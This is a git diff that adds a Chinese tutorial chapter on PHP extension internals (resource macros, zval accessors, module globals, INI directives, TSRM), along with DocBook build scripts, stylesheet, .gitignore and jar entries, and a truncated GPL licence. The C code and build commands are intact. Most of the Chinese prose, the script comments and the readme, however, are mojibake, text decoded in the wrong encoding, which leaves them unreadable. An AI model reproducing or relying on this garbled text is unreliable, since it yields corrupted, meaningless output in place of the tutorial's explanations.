å¯èƒ½ä¼šæ³¨æ„到资æºæ³¨å†Œå®çš„第一个å‚æ•°return_value,å¯æ­¤åœ°æ‰¾ä¸åˆ°å®ƒçš„定义。这个å˜é‡è‡ªåŠ¨çš„被扩展框架定义为zval * 类型的函数返回值。先å‰è®¨è®ºçš„ã€èƒ½å¤Ÿå½±å“返回值的RETURN_LONG() å’ŒRETVAL_BOOL()å®ç¡®å®žæ”¹å˜äº†return_value的值。因此很容易猜到程åºæ³¨å†Œäº†æˆ‘们å–得的文件指针fp,åŒæ—¶è®¾ç½® return_value为该注册资æºã€‚ + + +è®¿é—®èµ„æº éœ€è¦ä½¿ç”¨ä¸‹é¢çš„å®è®¿é—®èµ„æºï¼ˆå‚看表对å®å‚数的解释) + + +<code> +ZEND_FETCH_RESOURCE(rsrc, rsrc_type, passed_id + , default_id, resource_type_name, resource_type); +</code> + + +Tabulka: **ZEND_FETCH_RESOURCE å®å‚æ•°** + +|å‚æ•°|å«ä¹‰| +|rsrc|资æºå€¼ä¿å­˜åˆ°çš„å˜é‡å。它应该和资æºæœ‰ç›¸åŒç±»åž‹ã€‚| +|rsrc_type|rsrc的类型,用于在内部把资æºè½¬æ¢æˆæ­£ç¡®çš„类型| +|passed_id|寻找的资æºå€¼(例如zval **)| +|default_id|如果该值ä¸ä¸º-1,就使用这个id。用于实现资æºçš„默认值。| +|resource_type_name|资æºçš„一个简短å称,用于错误信æ¯ã€‚| +|resource_type|注册资æºçš„资æºç±»åž‹id| +使用这个å®ï¼Œæˆ‘们现在能够实现file_eof(): + + +<code> + PHP_FUNCTION(file_eof){ + int argc = ZEND_NUM_ARGS(); + zval *filehandle = NULL; + FILE *fp; + + if (zend_parse_parameters(argc TSRMLS_CC, "r", &filehandle) ==FAILURE) { + return; + } + + ZEND_FETCH_RESOURCE(fp, FILE *, &filehandle, -1, "standard-c-file",le_myfile); + + if (fp == NULL){ + RETURN_FALSE; + } + + if (feof(fp) <= 0) { + /* Return eof also if there was an error */ + RETURN_TRUE; + } + + RETURN_FALSE; + } +</code> + +==== åˆ é™¤ä¸€ä¸ªèµ„æº ==== +通常使用下é¢è¿™ä¸ªå®åˆ é™¤ä¸€ä¸ªèµ„æºï¼š + + +<code> + int zend_list_delete(int id) +</code> + +传递给å®ä¸€ä¸ªèµ„æºid,返回SUCCESS或者FAILURE。如果资æºå­˜åœ¨ï¼Œä¼˜å…ˆä»ŽZend资æºåˆ—队中删除,该过程中会调用该资æºç±»åž‹çš„已注册资æºæ¸…ç†å‡½æ•°ã€‚因此,在我们的例å­ä¸­ï¼Œä¸å¿…å–得文件指针,调用fclose()关闭文件,然åŽå†åˆ é™¤èµ„æºã€‚直接把资æºåˆ é™¤æŽ‰å³å¯ã€‚ + + +使用这个å®ï¼Œæˆ‘们能够实现file_close(): + + +<code> + PHP_FUNCTION(file_close){ + int argc = ZEND_NUM_ARGS(); + zval *filehandle = NULL; + + if (zend_parse_parameters(argc TSRMLS_CC, "r", &filehandle) == FAILURE) { + return; + } + + if (zend_list_delete(Z_RESVAL_P(filehandle)) == FAILURE) { + RETURN_FALSE; + } + + RETURN_TRUE; + } +</code> + +你肯定会问自己Z_RESVAL_P()是åšä»€ä¹ˆçš„。当我们使用zend_parse_parameters()从å‚数列表中å–得资æºçš„时候,得到的是 zvalçš„å½¢å¼ã€‚为了获得资æºid,我们使用Z_RESVAL_P()å®å¾—到id,然åŽæŠŠid传递给zend_list_delete()。 有一系列å®ç”¨äºŽè®¿é—®å­˜å‚¨äºŽzval值(å‚考表的å®åˆ—表)。尽管在大多数情况下zend_parse_parameters()返回与c类型相应的值,我们ä»å¸Œæœ›ç›´æŽ¥å¤„ç†zval,包括资æºè¿™ä¸€æƒ…况。 + + + +Tabulka: **Zval访问å®** + +|å®|访问对象|C 类型| +|Z_LVAL, Z_LVAL_P, Z_LVAL_PP|整型值|long| +|Z_BVAL, Z_BVAL_P, Z_BVAL_PP|布尔值|zend_bool| +|Z_DVAL, Z_DVAL_P, Z_DVAL_PP|浮点值|double| +|Z_STRVAL, Z_STRVAL_P, Z_STRVAL_PP|字符串值|char *| +|Z_STRLEN, Z_STRLEN_P, Z_STRLEN_PP|字符串长度值|int| +|Z_RESVAL, Z_RESVAL_P,Z_RESVAL_PP|资æºå€¼|long| +|Z_ARRVAL, Z_ARRVAL_P, Z_ARRVAL_PP|è”åˆæ•°ç»„|HashTable *| +|Z_TYPE, Z_TYPE_P, Z_TYPE_PP|Zval类型|Enumeration (IS_NULL, IS_LONG, IS_DOUBLE, IS_STRING, IS_ARRAY, IS_OBJECT, IS_BOOL, IS_RESOURCE)| +|Z_OBJPROP, Z_OBJPROP_P, Z_OBJPROP_PP|对象属性hash(本章ä¸ä¼šè°ˆåˆ°ï¼‰|HashTable *| +|Z_OBJCE, Z_OBJCE_P, Z_OBJCE_PP|对象的类信æ¯|zend_class_entry| +==== 用于访问zvalå€¼çš„å® ==== +所有的å®éƒ½æœ‰ä¸‰ç§å½¢å¼ï¼šä¸€ä¸ªæ˜¯æŽ¥å—zval s,å¦å¤–一个接å—zval *s,最åŽä¸€ä¸ªæŽ¥å—zval **s。它们的区别是在命å上,第一个没有åŽç¼€ï¼Œzval *有åŽç¼€_P(代表一个指针),最åŽä¸€ä¸ª zval **有åŽç¼€_PP(代表两个指针)。 现在,你有足够的信æ¯æ¥ç‹¬ç«‹å®Œæˆ file_read()å’Œ file_write()函数。这里是一个å¯èƒ½çš„实现: + +<code> + PHP_FUNCTION(file_read){ + int argc = ZEND_NUM_ARGS(); + long size; + zval *filehandle = NULL; + FILE *fp; + char *result; + size_t bytes_read; + + if (zend_parse_parameters(argc TSRMLS_CC, "rl", &filehandle,&size) == FAILURE) { + return; + } + + ZEND_FETCH_RESOURCE(fp, FILE *, &filehandle, -1, "standard-cfile", le_myfile); + + result = (char *) emalloc(size+1); + + bytes_read = fread(result, 1, size, fp); + + result[bytes_read] = '\0'; + + RETURN_STRING(result, 0); + } + + PHP_FUNCTION(file_write){ + char *buffer = NULL; + int argc = ZEND_NUM_ARGS(); + int buffer_len; + zval *filehandle = NULL; + FILE *fp; + + if (zend_parse_parameters(argc TSRMLS_CC, "rs", &filehandle,&buffer, &buffer_len) == FAILURE) { + return; + } + + ZEND_FETCH_RESOURCE(fp, FILE *, &filehandle, -1, "standard-cfile", le_myfile); + + if (fwrite(buffer, 1, buffer_len, fp) != buffer_len) { + RETURN_FALSE; + } + + RETURN_TRUE; + } +</code> + +==== 测试扩展 ==== +你现在å¯ä»¥ç¼–写一个测试脚本æ¥æ£€æµ‹æ‰©å±•æ˜¯å¦å·¥ä½œæ­£å¸¸ã€‚下é¢æ˜¯ä¸€ä¸ªç¤ºä¾‹è„šæœ¬ï¼Œè¯¥è„šæœ¬æ‰“开文件test.txt,输出文件类容到标准输出,建立一个拷è´test.txt.new。 + +<code> + <?php + $fp_in = file_open("test.txt", "r") or die("Unable to open input file\n"); + + $fp_out = file_open("test.txt.new", "w") or die("Unable to open output file\n"); + + while (!file_eof($fp_in)) { + $str = file_read($fp_in, 1024); + print($str); + file_write($fp_out, $str); + } + + file_close($fp_in); + file_close($fp_out); + ?> +</code> + +===== 全局å˜é‡ ===== +ä½ å¯èƒ½å¸Œæœ›åœ¨æ‰©å±•é‡Œä½¿ç”¨å…¨å±€Cå˜é‡ï¼Œæ— è®ºæ˜¯ç‹¬è‡ªåœ¨å†…部使用或访问php.ini文件中的INI扩展注册标记(INI在下一节中讨论)。因为PHP是为多线程环境而设计,所以ä¸å¿…定义全局å˜é‡ã€‚PHPæ供了一个创建全局å˜é‡çš„机制,å¯ä»¥åŒæ—¶åº”用在线程和éžçº¿ç¨‹çŽ¯å¢ƒä¸­ã€‚我们应当始终利用这个机制,而ä¸è¦è‡ªä¸»åœ°å®šä¹‰å…¨å±€å˜é‡ã€‚用一个å®è®¿é—®è¿™äº›å…¨å±€å˜é‡ï¼Œä½¿ç”¨èµ·æ¥å°±åƒæ™®é€šå…¨å±€å˜é‡ä¸€æ ·ã€‚ + + +用于生æˆmyfile工程骨架文件的ext_skel脚本创建了必è¦çš„代ç æ¥æ”¯æŒå…¨å±€å˜é‡ã€‚通过检查php_myfile.h文件,你应当å‘现类似下é¢çš„被注释掉的一节. + + +<code> + ZEND_BEGIN_MODULE_GLOBALS(myfile) + + int global_value; + char *global_string; + + ZEND_END_MODULE_GLOBALS(myfile) +</code> + +ä½ å¯ä»¥æŠŠè¿™ä¸€èŠ‚的注释去掉,åŒæ—¶æ·»åŠ ä»»ä½•å…¶ä»–全局å˜é‡äºŽè¿™ä¸¤ä¸ªå®ä¹‹é—´ã€‚文件åŽéƒ¨çš„几行,骨架脚本自动地定义一个MYFILE_G(v)å®ã€‚这个å®åº”当被用于所有的代ç ï¼Œä»¥ä¾¿è®¿é—®è¿™äº›å…¨å±€å˜é‡ã€‚这就确ä¿åœ¨å¤šçº¿ç¨‹çŽ¯å¢ƒä¸­ï¼Œè®¿é—®çš„全局å˜é‡ä»…是一个线程的拷è´ï¼Œè€Œä¸éœ€è¦äº’斥的æ“作。 + + +为了使全局å˜é‡æœ‰æ•ˆï¼Œæœ€åŽéœ€è¦åšçš„是把myfile.c 注释去掉。 + + +<code> + ZEND_DECLARE_MODULE_GLOBALS(myfile) +</code> + +你也许希望在æ¯æ¬¡PHP请求的开始åˆå§‹åŒ–全局å˜é‡ã€‚å¦å¤–,åšä¸ºä¸€ä¸ªä¾‹å­ï¼Œå…¨å±€å˜é‡å·²æŒ‡å‘了一个已分é…的内存,在æ¯æ¬¡PHP请求结æŸæ—¶éœ€è¦é‡Šæ”¾å†…存。为了达到这些目的,全局å˜é‡æœºåˆ¶æ供了一个特殊的å®ï¼Œç”¨äºŽæ³¨å†Œå…¨å±€å˜é‡çš„构造和æžæž„函数(å‚考表对å®å‚数的说明): + + +<code> + ZEND_INIT_MODULE_GLOBALS(module_name, globals_ctor, globals_dtor) +</code> + + +Tabulka: **表 ZEND_INIT_MODULE_GLOBALS å®å‚æ•°** + +|å‚æ•°|å«ä¹‰| +|module_name|与传递给ZEND_BEGIN_MODULE_GLOBALS()å®ç›¸åŒçš„扩展å称。| +|globals_ctor|构造函数指针。在myfile扩展里,函数原形与void php_myfile_init_globals(zend_myfile_globals *myfile_globals)类似| +|globals_dtor|æžæž„函数指针。例如,php_myfile_init_globals(zend_myfile_globals *myfile_globals)| +ä½ å¯ä»¥åœ¨myfile.c里看到如何使用构造函数和ZEND_INIT_MODULE_GLOBALS()å®çš„示例。 + + +===== 添加自定义INI指令 ===== +INI文件(php.ini)的实现使得PHP扩展注册和监å¬å„自的INIæ¡ç›®ã€‚如果这些INIæ¡ç›®ç”±php.iniã€Apacheçš„htaccess或其他é…置方法æ¥èµ‹å€¼ï¼Œæ³¨å†Œçš„INIå˜é‡æ€»æ˜¯æ›´æ–°åˆ°æ­£ç¡®çš„值。整个INI框架有许多ä¸åŒçš„选项以实现其çµæ´»æ€§ã€‚我们涉åŠä¸€äº›åŸºæœ¬çš„(也是个好的开端),借助本章的其他æ料,我们就能够应付日常开å‘工作的需è¦ã€‚ + + +通过在PHP_INI_BEGIN()/PHP_INI_END()å®ä¹‹é—´çš„STD_PHP_INI_ENTRY()å®æ³¨å†ŒPHP INI指令。例如在我们的例å­é‡Œï¼Œmyfile.c中的注册过程应当如下: + + +<code> + PHP_INI_BEGIN() + + STD_PHP_INI_ENTRY("myfile.global_value", "42", PHP_INI_ALL, OnUpdateInt, global_value, zend_myfile_globals, myfile_globals) + + STD_PHP_INI_ENTRY("myfile.global_string", "foobar", PHP_INI_ALL, OnUpdateString, global_string, zend_myfile_globals, myfile_globals) + + PHP_INI_END() +</code> + +除了STD_PHP_INI_ENTRY()其他å®ä¹Ÿèƒ½å¤Ÿä½¿ç”¨ï¼Œä½†è¿™ä¸ªå®æ˜¯æœ€å¸¸ç”¨çš„,å¯ä»¥æ»¡è¶³å¤§å¤šæ•°éœ€è¦ï¼ˆå‚看表对å®å‚数的说明): + + +<code> +STD_PHP_INI_ENTRY(name, default_value + , modifiable, on_modify + , property_name, struct_type, struct_ptr) +</code> + + +Tabulka: **STD_PHP_INI_ENTRY å®å‚数表** + +|å‚æ•°|å«ä¹‰| +|name|INIæ¡ç›®å| +|default_value|如果没有在INI文件中指定,æ¡ç›®çš„默认值。默认值始终是一个字符串。| +|modifiable|设定在何ç§çŽ¯å¢ƒä¸‹INIæ¡ç›®å¯ä»¥è¢«æ›´æ”¹çš„ä½åŸŸã€‚å¯ä»¥çš„值是:PHP_INI_SYSTEM. 能够在php.ini或http.conf等系统文件更改PHP_INI_PERDIR. 能够在 .htaccess中更改PHP_INI_USER. 能够被用户脚本更改PHP_INI_ALL. 能够在所有地方更改 | +|on_modify |处ç†INIæ¡ç›®æ›´æ”¹çš„回调函数。你ä¸éœ€è‡ªå·±ç¼–写处ç†ç¨‹åºï¼Œä½¿ç”¨ä¸‹é¢æ供的函数。包括:OnUpdateIntOnUpdateStringOnUpdateBoolOnUpdateStringUnemptyOnUpdateReal | +|property_name |应当被更新的å˜é‡å| +|struct_type |å˜é‡é©»ç•™çš„结构类型。因为通常使用全局å˜é‡æœºåˆ¶ï¼Œæ‰€ä»¥è¿™ä¸ªç±»åž‹è‡ªåŠ¨è¢«å®šä¹‰ï¼Œç±»ä¼¼äºŽzend_myfile_globals。| +|struct_ptr |全局结构å。如果使用全局å˜é‡æœºåˆ¶ï¼Œè¯¥å为myfile_globals。| +最åŽï¼Œä¸ºäº†ä½¿è‡ªå®šä¹‰INIæ¡ç›®æœºåˆ¶æ­£å¸¸å·¥ä½œï¼Œä½ éœ€è¦åˆ†åˆ«åŽ»æŽ‰PHP_MINIT_FUNCTION(myfile)中的 REGISTER_INI_ENTRIES()调用和PHP_MSHUTDOWN_FUNCTION(myfile)中的 UNREGISTER_INI_ENTRIES()的注释。 + + +访问两个示例全局å˜é‡ä¸­çš„一个与在扩展里编写MYFILE_G(global_value) å’ŒMYFILE_G(global_string)一样简å•ã€‚ + + +如果你把下é¢çš„两行放在php.ini中,MYFILE_G(global_value)的值会å˜ä¸º99。 + + +<code> +; php.ini – The following line sets the INI entry myfile.global_value to 99. +myfile.global_value = 99 +</code> + +===== 线程安全资æºç®¡ç†å® ===== +现在,你肯定注æ„到以TSRM(线程安全资æºç®¡ç†å™¨ï¼‰å¼€å¤´çš„å®éšå¤„使用。这些å®æ供给扩展拥有独自的全局å˜é‡çš„å¯èƒ½ï¼Œæ­£å¦‚å‰é¢æ到的。 + + +当编写PHP扩展时,无论是在多进程或多线程环境中,都是ä¾é è¿™ä¸€æœºåˆ¶è®¿é—®æ‰©å±•è‡ªå·±çš„全局å˜é‡ã€‚如果使用全局å˜é‡è®¿é—®å®ï¼ˆä¾‹å¦‚MYFILE_G()å®ï¼‰ï¼Œéœ€è¦ç¡®ä¿TSRM上下文信æ¯å‡ºçŽ°åœ¨å½“å‰å‡½æ•°ä¸­ã€‚基于性能的原因,Zend引擎试图把这个上下文信æ¯ä½œä¸ºå‚数传递到更多的地方,包括 PHP_FUNCTION()的定义。正因为这样,在PHP_FUNCTION()内当编写的代ç ä½¿ç”¨è®¿é—®å®ï¼ˆä¾‹å¦‚MYFILE_G()å®ï¼‰æ—¶ï¼Œä¸éœ€è¦åšä»»ä½•ç‰¹æ®Šçš„声明。然而,如果PHP函数调用其他需è¦è®¿é—®å…¨å±€å˜é‡çš„C函数,è¦ä¹ˆæŠŠä¸Šä¸‹æ–‡ä½œä¸ºä¸€ä¸ªé¢å¤–çš„å‚数传递给C函数,è¦ä¹ˆæå–上下文(è¦æ…¢ç‚¹ï¼‰ã€‚ + + +在需è¦è®¿é—®å…¨å±€å˜é‡çš„代ç å—开头使用TSRMLS_FETCH()æ¥æå–上下文。例如: + + +<code> + void myfunc(){ + TSRMLS_FETCH(); + + MYFILE_G(myglobal) = 2; + } +</code> + +如果希望让代ç æ›´åŠ ä¼˜åŒ–,更好的办法是直接传递上下文给函数(正如å‰é¢å™è¿°çš„,PHP_FUNCTION()范围内自动å¯ç”¨ï¼‰ã€‚å¯ä»¥ä½¿ç”¨ TSRMLS_C(C表示调用Call)和TSRMLS_CC(CCè¾¹å¼è°ƒç”¨Call和逗å·Comma)å®ã€‚å‰è€…应当用于仅当上下文作为一个å•ç‹¬çš„å‚数,åŽè€…应用于接å—多个å‚数的函数。在åŽä¸€ç§æƒ…况中,因为根æ®å–å,逗å·åœ¨ä¸Šä¸‹æ–‡çš„å‰é¢ï¼Œæ‰€ä»¥TSRMLS_CCä¸èƒ½æ˜¯ç¬¬ä¸€ä¸ªå‡½æ•°å‚。 + + +在函数原形中,å¯ä»¥åˆ†åˆ«ä½¿ç”¨TSRMLS_Då’ŒTSRMLS_DCå®å£°å正在接收上下文。 + + +下é¢æ˜¯å‰ä¸€ä¾‹å­çš„é‡å†™ï¼Œåˆ©ç”¨äº†å‚数传递上下文: + + +<code> + void myfunc(TSRMLS_D){ + MYFILE_G(myglobal) = 2; + } + + PHP_FUNCTION(my_php_function) + { + … + myfunc(TSRMLS_C); + … + } +</code> + +====== 总 结 ====== +现在,你已ç»å­¦åˆ°äº†è¶³å¤Ÿçš„东西æ¥åˆ›å»ºè‡ªå·±çš„扩展。本章讲述了一些é‡è¦çš„基础æ¥ç¼–写和ç†è§£PHP扩展。Zend引擎æ供的扩展API相当丰富,使你能够开å‘é¢å‘对象的扩展。几乎没有文档谈几许多高级特性。当然,ä¾é æœ¬ç« æ‰€å­¦çš„基础知识,你å¯ä»¥é€šè¿‡æµè§ˆçŽ°æœ‰çš„原ç å­¦åˆ°å¾ˆå¤šã€‚ + + +更多关于信æ¯å¯ä»¥åœ¨PHP手册的扩展PHP章节 +**http://www.php.net/manual/en/zend.php**中找到。å¦å¤–,你也å¯ä»¥è€ƒè™‘加入PHPå¼€å‘者邮件列表internals@ lists.php.net,该邮件列表围绕开å‘PHP 本身。你还å¯ä»¥æŸ¥çœ‹ä¸€ä¸‹æ–°çš„扩展生æˆå·¥å…·â€”—PECL_Gen( +**http://pear.php.net/package/PECL_Gen**),这个工具正在开å‘之中,比起本章使用的ext_skel有更多的特性。 + + +binary safe +二进制安全 + +context +上下文 + +extensions +扩展 + +entry +æ¡ç›® + +skeleton +骨架 + +Thread-Safe Resource Manager TSRM +线程安全资æºç®¡ç†å™¨ + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki.xsl b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki.xsl new file mode 100644 index 0000000..1f2ff37 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/xsl/wiki/wiki.xsl @@ -0,0 +1,29 @@ +<?xml version="1.0" encoding="UTF-8"?> + +<!-- + Licensed to the Apache Software Foundation (ASF) under one + or more contributor license agreements. See the NOTICE file + distributed with this work for additional information + regarding copyright ownership. The ASF licenses this file + to you under the Apache License, Version 2.0 (the + "License"); you may not use this file except in compliance + with the License. You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, + software distributed under the License is distributed on an + "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + KIND, either express or implied. See the License for the + specific language governing permissions and limitations + under the License. +--> + +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" + version='1.0'> + <xsl:import href="../../../../zips/cache/docbook-xsl/wiki/docbook.xsl" /> +<!-- <xsl:import href="wiki-style.xsl" />--> +<!-- <xsl:include href="wiki-titlepage.xsl" />--> + +</xsl:stylesheet> + diff --git a/tools/ZoeeyDoc/docs/zips/.gitignore b/tools/ZoeeyDoc/docs/zips/.gitignore new file mode 100644 index 0000000..ebc2ab0 --- /dev/null +++ b/tools/ZoeeyDoc/docs/zips/.gitignore @@ -0,0 +1 @@ +/cache/* diff --git a/tools/ZoeeyDoc/docs/zips/Docbook2Wiki.zip b/tools/ZoeeyDoc/docs/zips/Docbook2Wiki.zip new file mode 100644 index 0000000..50ec349 Binary files /dev/null and b/tools/ZoeeyDoc/docs/zips/Docbook2Wiki.zip differ diff --git a/tools/ZoeeyDoc/docs/zips/docbook-xsl.zip b/tools/ZoeeyDoc/docs/zips/docbook-xsl.zip new file mode 100644 index 0000000..bd11b6c Binary files /dev/null and b/tools/ZoeeyDoc/docs/zips/docbook-xsl.zip differ diff --git a/tools/ZoeeyDoc/docs/zips/fonts.zip b/tools/ZoeeyDoc/docs/zips/fonts.zip new file mode 100644 index 0000000..3e5440b Binary files /dev/null and b/tools/ZoeeyDoc/docs/zips/fonts.zip differ diff --git a/tools/ZoeeyDoc/docs/zips/readme.txt b/tools/ZoeeyDoc/docs/zips/readme.txt new file mode 100644 index 0000000..a204559 --- /dev/null +++ b/tools/ZoeeyDoc/docs/zips/readme.txt @@ -0,0 +1,5 @@ + +zips Îļþ¼ÐÄÚµÄ .zip Îļþ½«»á±»½âѹµ½ zips/cache Îļþ¼ÐÄÚ¡£ +ÔÚµ÷Óà -c »ò --clean Ñ¡ÏîʱÇåÀí¡£ + +µ±Ç°Ê¹Óà docbook-xsl °æ±¾ 1.75.2¡£ \ No newline at end of file diff --git a/tools/ZoeeyDoc/lib/Zoeey-0.3.jar b/tools/ZoeeyDoc/lib/Zoeey-0.3.jar new file mode 100644 index 0000000..26f7037 Binary files /dev/null and b/tools/ZoeeyDoc/lib/Zoeey-0.3.jar differ diff --git a/tools/ZoeeyDoc/lib/avalon-framework-api-4.3.jar b/tools/ZoeeyDoc/lib/avalon-framework-api-4.3.jar new file mode 100644 index 0000000..c900046 Binary files /dev/null and b/tools/ZoeeyDoc/lib/avalon-framework-api-4.3.jar differ diff --git a/tools/ZoeeyDoc/lib/avalon-framework-impl-4.3.jar b/tools/ZoeeyDoc/lib/avalon-framework-impl-4.3.jar new file mode 100644 index 0000000..0715634 Binary files /dev/null and b/tools/ZoeeyDoc/lib/avalon-framework-impl-4.3.jar differ diff --git a/tools/ZoeeyDoc/lib/batik-all-1.7.jar b/tools/ZoeeyDoc/lib/batik-all-1.7.jar new file mode 100644 index 0000000..5893285 Binary files /dev/null and b/tools/ZoeeyDoc/lib/batik-all-1.7.jar differ diff --git a/tools/ZoeeyDoc/lib/commons-io-1.3.1.jar b/tools/ZoeeyDoc/lib/commons-io-1.3.1.jar new file mode 100644 index 0000000..7affdef Binary files /dev/null and b/tools/ZoeeyDoc/lib/commons-io-1.3.1.jar differ diff --git a/tools/ZoeeyDoc/lib/commons-logging-1.0.4.jar b/tools/ZoeeyDoc/lib/commons-logging-1.0.4.jar new file mode 100644 index 0000000..b73a80f Binary files /dev/null and b/tools/ZoeeyDoc/lib/commons-logging-1.0.4.jar differ diff --git a/tools/ZoeeyDoc/lib/fop.jar b/tools/ZoeeyDoc/lib/fop.jar new file mode 100644 index 0000000..4f5c7e9 Binary files /dev/null and b/tools/ZoeeyDoc/lib/fop.jar differ diff --git a/tools/ZoeeyDoc/lib/resolver.jar b/tools/ZoeeyDoc/lib/resolver.jar new file mode 100644 index 0000000..e535bdc Binary files /dev/null and b/tools/ZoeeyDoc/lib/resolver.jar differ diff --git a/tools/ZoeeyDoc/lib/serializer-2.7.0.jar b/tools/ZoeeyDoc/lib/serializer-2.7.0.jar new file mode 100644 index 0000000..7cd8069 Binary files /dev/null and b/tools/ZoeeyDoc/lib/serializer-2.7.0.jar differ diff --git a/tools/ZoeeyDoc/lib/xalan.jar b/tools/ZoeeyDoc/lib/xalan.jar new file mode 100644 index 0000000..979ee76 Binary files /dev/null and b/tools/ZoeeyDoc/lib/xalan.jar differ diff --git a/tools/ZoeeyDoc/lib/xercesImpl.jar b/tools/ZoeeyDoc/lib/xercesImpl.jar new file mode 100644 index 0000000..e0a4c2e Binary files /dev/null and b/tools/ZoeeyDoc/lib/xercesImpl.jar differ diff --git a/tools/ZoeeyDoc/lib/xmlgraphics-commons-1.4.jar b/tools/ZoeeyDoc/lib/xmlgraphics-commons-1.4.jar new file mode 100644 index 0000000..01bc391 Binary files /dev/null and b/tools/ZoeeyDoc/lib/xmlgraphics-commons-1.4.jar differ diff --git a/tools/ZoeeyDoc/lib/xslthl-2.0.2.jar b/tools/ZoeeyDoc/lib/xslthl-2.0.2.jar new file mode 100644 index 0000000..93aecab Binary files /dev/null and b/tools/ZoeeyDoc/lib/xslthl-2.0.2.jar differ diff --git a/tools/ZoeeyDoc/output/HSStudio8_Help_CN/.gitignore b/tools/ZoeeyDoc/output/HSStudio8_Help_CN/.gitignore new file mode 100644 index 0000000..82cf341 --- /dev/null +++ b/tools/ZoeeyDoc/output/HSStudio8_Help_CN/.gitignore @@ -0,0 +1,5 @@ +/html/* +/single/* +/pdf/*.fo +/pdf/*.checksum + diff --git a/tools/ZoeeyDoc/output/HSStudio8_Help_EN/.gitignore b/tools/ZoeeyDoc/output/HSStudio8_Help_EN/.gitignore new file mode 100644 index 0000000..82cf341 --- /dev/null +++ b/tools/ZoeeyDoc/output/HSStudio8_Help_EN/.gitignore @@ -0,0 +1,5 @@ +/html/* +/single/* +/pdf/*.fo +/pdf/*.checksum + diff --git a/tools/ZoeeyDoc/run.bat b/tools/ZoeeyDoc/run.bat new file mode 100644 index 0000000..6472f4a --- /dev/null +++ b/tools/ZoeeyDoc/run.bat @@ -0,0 +1,15 @@ +copy ..\..\ts\net.heartsome.cat.ts.ui.help\src\docbook\zh\ts8help_zh.xml docs\books\HSStudio8_Help_CN +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_CN -t html +del ..\..\ts\net.heartsome.cat.ts.ui.help\html\zh\ch*.html +xcopy /e output\HSStudio8_Help_CN\html\ch*.html ..\..\ts\net.heartsome.cat.ts.ui.help\html\zh +xcopy /y ..\..\ts\net.heartsome.cat.ts.ui.help\html\zh\images\* docs\books\HSStudio8_Help_CN\images +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_CN -t pdf + +copy ..\..\ts\net.heartsome.cat.ts.ui.help\src\docbook\en\ts8help_en.xml docs\books\HSStudio8_Help_EN +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_EN -t html +del ..\..\ts\net.heartsome.cat.ts.ui.help\html\en\ch*.html +xcopy /e output\HSStudio8_Help_EN\html\ch*.html ..\..\ts\net.heartsome.cat.ts.ui.help\html\en +xcopy /y ..\..\ts\net.heartsome.cat.ts.ui.help\html\en\images\* docs\books\HSStudio8_Help_EN\images +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_EN -t pdf + +pause \ No newline at end of file diff --git a/tools/ZoeeyDoc/run.sh b/tools/ZoeeyDoc/run.sh new file mode 100755 index 0000000..ebcf6f4 --- /dev/null +++ b/tools/ZoeeyDoc/run.sh @@ -0,0 +1,28 @@ +#!/bin/bash + +## 生æˆä¸­æ–‡å¸®åŠ© +# å¤åˆ¶æºæ–‡ä»¶ +cp -f ../../ts/net.heartsome.cat.ts.ui.help/src/docbook/zh/ts8help_zh.xml docs/books/HSStudio8_Help_CN/ +# å¤åˆ¶ç”Ÿæˆ PDF 所需的 images 文件,因 ZoeeyDoc 自带的 copy 功能ä¸èµ·ä½œç”¨ +cp -f ../../ts/net.heartsome.cat.ts.ui.help/html/zh/images/* docs/books/HSStudio8_Help_CN/images/ + +# ç”Ÿæˆ HTML 文件 +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_CN -t html +# 删除 net.heartsome.cat.ts.ui.help 原有的 HTML 文件 +rm -f ../../ts/net.heartsome.cat.ts.ui.help/html/zh/ch*.html +# 将新的 HTML 文件å¤åˆ¶åˆ° net.heartsome.cat.ts.ui.help æ’件 +cp -f output/HSStudio8_Help_CN/html/ch*.html ../../ts/net.heartsome.cat.ts.ui.help/html/zh/ + +# ç”Ÿæˆ PDF 文件 +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_CN -t pdf + + +## 生æˆè‹±æ–‡å¸®åŠ©ï¼Œæ­¥éª¤ä¸Žä¸­æ–‡ç›¸åŒ +cp -f ../../ts/net.heartsome.cat.ts.ui.help/src/docbook/en/ts8help_en.xml docs/books/HSStudio8_Help_EN/ +cp -f ../../ts/net.heartsome.cat.ts.ui.help/html/en/images/* docs/books/HSStudio8_Help_EN/images/ + +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_EN -t html +rm -f ../../ts/net.heartsome.cat.ts.ui.help/html/en/ch*.html +cp -f output/HSStudio8_Help_EN/html/ch*.html ../../ts/net.heartsome.cat.ts.ui.help/html/en/ + +java -jar ZoeeyDoc.jar -b docs/books/HSStudio8_Help_EN -t pdf diff --git a/tools/obclipse/COPYING b/tools/obclipse/COPYING new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/tools/obclipse/COPYING @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a 